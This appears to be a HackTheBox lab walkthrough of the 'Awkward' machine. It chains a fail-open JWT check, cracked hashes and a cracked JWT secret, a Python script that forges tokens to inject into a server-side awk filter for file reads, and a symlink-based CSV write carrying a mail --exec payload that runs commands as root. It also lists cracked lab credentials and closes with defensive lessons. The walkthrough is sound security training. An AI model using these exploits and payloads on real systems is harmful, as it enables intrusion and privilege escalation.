HTB: Awkward Writeup

Awkward - HackTheBox Writeup

Machine Information

AttributeDetails
NameAwkward
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Awkward is a Vue/Node.js-backed HR and e-commerce stack sitting behind an Nginx front door, and every stage of the chain hinges on the same root cause: application logic that trusts input it never actually validated. A JWT auth-check that fails open when the auth cookie is simply absent leaks a staff hash dump; a weak JWT signing secret turns the token into a fully attacker-controlled object; and that object gets concatenated straight into a server-side awk command, giving arbitrary file read. On the box, a world-writable web directory pair repeats the same class of mistake — one input gets validated, the other doesn’t — and that gap becomes a symlink-driven arbitrary file write into a CSV that root’s mail notifier parses unsafely, handing over a root-equivalent command execution primitive via GTFOBins.

TL;DR: Missing-cookie auth bypass on /api/staff-details → cracked SHA-256 staff hash (christopher.jones:chris123) → cracked JWT secret (123beany123) → forged JWT username field breaks out of a server-side awk filter (LFI) → read bean’s .bashrc/backup_home.sh → pulled bean_backup_final.tar.gz → plaintext credentials recovered from a cached xpad note (bean.hill:014mrbeanrules!#P) → SSH as bean (user flag) → world-writable /var/www/store/{cart,product-details} → symlink cart/fakecart to leave_requests.csv → poisoned CSV line triggers a mail -s ... --exec GTFOBins injection in root’s inotify-driven mail script → root (root flag).


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.X

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — nginx, redirects to hat-valley.htb
Terminal window
# pin the vhost so the redirect resolves locally
echo "10.10.11.X hat-valley.htb" | sudo tee -a /etc/hosts

Service Enumeration

hat-valley.htb is a Vue.js single-page app. Since Vue ships its route/component source client-side, the compiled JS bundles are readable straight from the browser dev tools or a quick curl + grep for API paths — this is what surfaces the /api/staff-details endpoint later abused for the auth bypass.

A vhost sweep against the base domain turned up a second virtual host:

Terminal window
gobuster vhost -u http://hat-valley.htb -w /usr/share/wordlists/vhosts.txt --append-domain

Result: store.hat-valley.htb — sitting behind HTTP Basic Auth, so it goes on the “come back once we have creds” list.

Terminal window
echo "10.10.11.X store.hat-valley.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

  • Cookie-conditional JWT validation on /api/staff-details — looks like an auth-bypass-by-omission bug.
  • Staff hash dump reachable pre-auth once the bypass lands.
  • JWT signed with a guessable secret → full token forgery once cracked.
  • Server-side awk invocation building its filter from a JWT-controlled field → command injection surface.
  • store.hat-valley.htb gated by Basic Auth — needs valid creds.

Initial Foothold

Exploitation Path

Step 1 — Auth bypass on /api/staff-details

Hitting the endpoint normally returns a JWT validation error, which is enough to fingerprint cookie-parser + jsonwebtoken on the backend. The bug is in the order of the checks: the server only runs jwt.verify() — and only sets its authFailed flag — if a token cookie is present at all. Strip the cookie entirely instead of forging a bad one, and the check is skipped outright:

// reconstructed server logic — explains WHY the bypass works
const user_token = req.cookies.token
var authFailed = false
if (user_token) {
const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
if (!decodedToken.username) { authFailed = true }
}
if (authFailed) {
return res.status(401).json({ Error: "Invalid Token" })
}
// authFailed is still false here if there was no cookie at all — request proceeds

This is the same class of bug as OMIGOD (CVE-2021-38647) — an unrelated piece of software, but the identical logic flaw: “validate if present” gets implemented instead of “require and validate.”

Terminal window
# request the endpoint with NO token cookie set at all (not even an empty one)
curl -s http://hat-valley.htb/api/staff-details

The response dumps staff records with SHA-256 password hashes.

Step 2 — Crack the staff hashes

Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 hashes

Result: christopher.jones:chris123

Step 3 — Log in, crack the JWT secret

Logging into the HR portal with christopher.jones:chris123 issues a signed JWT. That JWT itself is crackable offline:

Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt jwt

Result: signing secret = 123beany123 — enough to mint arbitrary, validly-signed tokens from scratch.

Step 4 — LFI via awk injection in the forged JWT

The /api/all-leave endpoint decodes the JWT, pulls username, and drops it straight into a server-side awk filter (awk '/<user>/' leave_requests.csv) with no sanitization. Since the secret is known, the username claim is fully attacker-controlled — breaking out of the regex with a quote lets an arbitrary file path get read via awk’s own getline-from-shell-command style trick, GTFOBins-style:

import jwt, requests, sys
SECRET = "123beany123"
# breaking out of the awk filter regex: /' <target file> '/dud
# the trailing 'dud' pattern ensures only the target file prints, not the CSV rows
payload = {"username": f"/' {sys.argv[1]} '/dud", "iat": "1644922420"}
token = jwt.encode(payload, SECRET, algorithm="HS256")
r = requests.get(
"http://hat-valley.htb/api/all-leave",
cookies={"token": token},
)
print(r.text)
Terminal window
python3 lfi.py /etc/passwd

Reading /etc/passwd confirmed non-root users worth chasing. Pulling bean’s .bashrc turned up a custom alias pointing at backup_home.sh, and reading that script revealed the path to a home-directory backup archive. Swapping the script’s print for a raw byte write pulled the archive down directly:

# same LFI primitive, write raw bytes instead of decoding as text
r = requests.get(
"http://hat-valley.htb/api/all-leave",
cookies={"token": token},
)
with open("bean_backup_final.tar.gz", "wb") as f:
f.write(r.content)

Step 5 — Unpack the backup, recover plaintext creds

Terminal window
tar -xvf bean_backup_final.tar.gz # nested archive
tar -xvf bean_backup.tar.gz # yields bean's home directory tree

Buried in the extracted tree, .config/xpad/content-DS1ZS1 — a saved sticky-note file from the xpad GTK applet — held a plaintext credential: bean.hill:014mrbeanrules!#P. xpad stores its notes unencrypted on disk, which is exactly why a home-directory backup is such a soft target.

Terminal window
ssh bean.hill@10.10.11.X
# password: 014mrbeanrules!#P
User Flag: <redacted>

Privilege Escalation

With a shell as bean, the local web root became reachable directly instead of only through the API. Enumerating /var/www/store turned up two directories with lax permissions:

Terminal window
ls -la /var/www/store/
# cart/ drwxrwxrwx
# product-details/ drwxrwxrwx

Reading cart_actions.php’s add_item action showed the bug: the code validates that item (the product file) is a legitimate store item before touching it, but never validates that user (the cart file it’s about to append to) is anything sensible — it just shells out to head/tail/system() against whatever path is handed in:

// cart_actions.php — add_item (abbreviated)
if (checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if (!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
// appends line 2 of the (validated) product file into the (UNVALIDATED) cart file
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
}

Because cart/ is world-writable, bean can pre-create cart/{user_id} as a symlink to any file www-data can write to — the PHP only checks file_exists(), not whether the target is a real cart file. That turns “append the second line of a store product” into “append an attacker-chosen line to an arbitrary file.”

Step 6 — Symlink the cart target to the leave-request CSV

Terminal window
ln -s /var/www/private/leave_requests.csv /var/www/store/cart/fakecart

Step 7 — Stage the injection payload as a “product”

Terminal window
cat > /var/www/store/product-details/pwn.txt <<'EOF'
***Hat Valley Product***
pwned --exec='!/tmp/executeme.sh'
EOF

Line 2 is what cart_actions.php will append — and it’s a GTFOBins mail/mailx injection primitive: --exec='!<cmd>' runs an arbitrary shell command when mail processes its flags.

Step 8 — Trigger the write

Adding pwn.txt to the fakecart cart via the store’s add-to-cart flow causes the server to append pwned --exec='!/tmp/executeme.sh' directly into /var/www/private/leave_requests.csv — a file bean has no direct write access to, reached purely through the symlink + world-writable directory combo.

Step 9 — Root’s mail notifier executes the payload

Root runs an inotify-watched process against leave_requests.csv: on any change, it fires off mail -s "Leave Request: <username>" christine, building the subject line from the CSV’s (attacker-controlled) username field without quoting it. Because that field is now pwned --exec='!/tmp/executeme.sh', mail parses --exec as a real flag instead of subject text and executes /tmp/executeme.sh as root — the exact GTFOBins mail privilege-escalation entry, reached via CSV poisoning instead of direct command-line access.

Root Flag: <redacted>

Attack Chain Summary

Missing-cookie JWT auth bypass (/api/staff-details)
→ SHA-256 staff hash dump → cracked (christopher.jones:chris123)
→ HR login → JWT issued → JWT secret cracked (123beany123)
→ forged JWT username field breaks out of server-side awk filter (LFI)
→ read /etc/passwd, bean's .bashrc → backup_home.sh path
→ downloaded bean_backup_final.tar.gz via LFI
→ nested tar extraction → xpad note leaks plaintext creds (bean.hill:...)
→ SSH as bean → USER FLAG
→ world-writable /var/www/store/{cart,product-details}
→ cart_actions.php validates product, NOT cart target
→ symlink cart/fakecart → /var/www/private/leave_requests.csv
→ malicious product line-2 appended into CSV via add-to-cart
→ root's inotify mail script builds `mail -s` from unquoted CSV field
→ GTFOBins mail --exec injection → arbitrary command as root
→ ROOT FLAG

Tools Used

ToolPurpose
nmapPort scanning / service discovery
gobusterVirtual host enumeration (store.hat-valley.htb)
johnCracking staff SHA-256 hash and the JWT signing secret
Python (pyjwt, requests)Forging JWTs and driving the awk-injection LFI
tarUnpacking the nested bean home-directory backup
sshShell access as bean
ln -sSymlink-based arbitrary file write against leave_requests.csv
mail (GTFOBins --exec)Root command execution primitive

Key Learnings

Techniques Practiced

  • Auth-bypass-by-omission: exploiting a check that only runs “if input is present” instead of “input is required”
  • Offline cracking of both password hashes and JWT HMAC secrets
  • Turning a trusted JWT claim into a server-side command injection primitive (awk breakout / LFI)
  • Mining backup archives and cached applet data (xpad) for leftover plaintext credentials
  • Exploiting asymmetric input validation in a world-writable web directory pair via symlink
  • GTFOBins-style flag injection (mail --exec) reached indirectly through unsanitized CSV data

Lessons Learned

  1. Fail-open auth checks are worse than no auth check — a middleware that only validates a token when one is supplied will happily authorize requests that supply none at all. Always require the credential before deciding whether it’s valid.
  2. A signed JWT is only as trustworthy as its secret. Once the secret is recovered, every claim in that token — including ones used to build shell commands server-side — becomes fully attacker-controlled.
  3. String-building a shell command from any user-influenced field is an injection bug, even several validation layers downstream of the original input (JWT → decoded claim → awk argument).
  4. Convenience automation leaks scope. A .bashrc alias pointing at a backup script was the thread that led to a full home-directory archive with cached plaintext secrets.
  5. Desktop applet caches (xpad, and similar sticky-note/clipboard tools) store data in cleartext by design — treat any home directory backup as a credential source, not just a config source.
  6. Validating one side of an operation and not the other creates an asymmetric trust boundary. cart_actions.php checked the product but not the cart target — that single gap, combined with a world-writable directory, was enough for arbitrary file write.
  7. Never interpolate untrusted strings directly into command flags. mail -s "$username" treated CSV data as trusted, letting a --exec value get parsed as an option instead of literal text.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • C4rm3l0, Awkward (HackTheBox official writeup, Doc No. D22.100.205), machine authored by coopertim13 — used here for background on the OMIGOD-style auth-bypass logic, JWT/awk injection mechanics, and the cart_actions.php symlink/GTFOBins mail --exec privilege escalation.